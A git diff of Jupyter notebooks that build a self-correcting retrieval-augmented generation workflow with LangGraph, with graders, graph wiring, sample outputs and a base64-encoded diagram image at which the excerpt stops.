+ " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\n", + " \"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\"\n", + " )\n", + " return \"transform_query\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "def grade_generation_v_documents_and_question(state):\n", + " \"\"\"\n", + " Determines whether the generation is grounded in the document and answers question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK HALLUCINATIONS---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = state[\"generation\"]\n", + "\n", + " score = hallucination_grader.invoke(\n", + " {\"documents\": documents, \"generation\": generation}\n", + " )\n", + " grade = score.binary_score\n", + "\n", + " # Check hallucination\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\")\n", + " # Check question-answering\n", + " print(\"---GRADE GENERATION vs QUESTION---\")\n", + " score = answer_grader.invoke({\"question\": question, \"generation\": generation})\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION ADDRESSES QUESTION---\")\n", + " return \"useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION DOES NOT ADDRESS QUESTION---\")\n", + " return \"not useful\"\n", + " else:\n", + " pprint(\"---DECISION: GENERATION IS NOT GROUNDED IN DOCUMENTS, RE-TRY---\")\n", + " return \"not supported\"" + ] + }, + { + "cell_type": "markdown", + "id": "61cd5797-1782-4d78-a277-8196d13f3e1b", + "metadata": {}, + "source": [ + "## Build Graph\n", + "\n", + "The just follows the flow we outlined in the figure above." + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "0e09ca9f-e36d-4ef4-a0d5-79fdbada9fe0", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"transform_query\", transform_query) # transform_query\n", + "\n", + "# Build graph\n", + "workflow.add_edge(START, \"retrieve\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"transform_query\": \"transform_query\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"transform_query\", \"retrieve\")\n", + "workflow.add_conditional_edges(\n", + " \"generate\",\n", + " grade_generation_v_documents_and_question,\n", + " {\n", + " \"not supported\": \"generate\",\n", + " \"useful\": END,\n", + " \"not useful\": \"transform_query\",\n", + " },\n", + ")\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "fb69dbb9-91ee-4868-8c3c-93af3cd885be", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: GENERATE---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "('Short-term memory is used for in-context learning in agents, allowing them '\n", + " 'to learn quickly. Long-term memory enables agents to retain and recall vast '\n", + " 'amounts of information over extended periods. Agents can also utilize '\n", + " 'external tools like APIs to access additional information beyond what is '\n", + " 'stored in their memory.')\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\"question\": \"Explain how the different types of agent memory work?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "id": "4138bc51-8c84-4b8a-8d24-f7f470721f6f", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: GENERATE---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "('Chain of thought prompting works by repeatedly prompting the model to ask '\n", + " 'follow-up questions to construct the thought process iteratively. This '\n", + " 'method can be combined with queries to search for relevant entities and '\n", + " 'content to add back into the context. It extends the thought process by '\n", + " 'exploring multiple reasoning possibilities at each step, creating a tree '\n", + " 'structure of thoughts.')\n" + ] + } + ], + "source": [ + "inputs = {\"question\": \"Explain how chain of thought prompting works?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "548f1c5b-4108-4aae-8abb-ec171b511b92", + "metadata": {}, + "source": [ + "LangSmith Traces - \n", + " \n", + "* https://smith.langchain.com/public/55d6180f-aab8-42bc-8799-dadce6247d9b/r\n", + "\n", + "* https://smith.langchain.com/public/1c6bf654-61b2-4fc5-9889-054b020c78aa/r" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_self_rag_local.ipynb b/examples/rag/langgraph_self_rag_local.ipynb new file mode 100644 index 0000000..b7b729b --- /dev/null +++ b/examples/rag/langgraph_self_rag_local.ipynb @@ -0,0 +1,755 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "345488d8", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "5fca0a3e-d13d-4bfa-95ea-58203640cc7a.png": { + "image/png": "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AAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQEWA4FHFgjUEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAYNULEDxa9ZcAAAgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBARYDgUcWCNQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEBg1QsQPFr1lwAACCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBFgOBRxYI1BBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQGDVCxA8WvWXAAAIIIAA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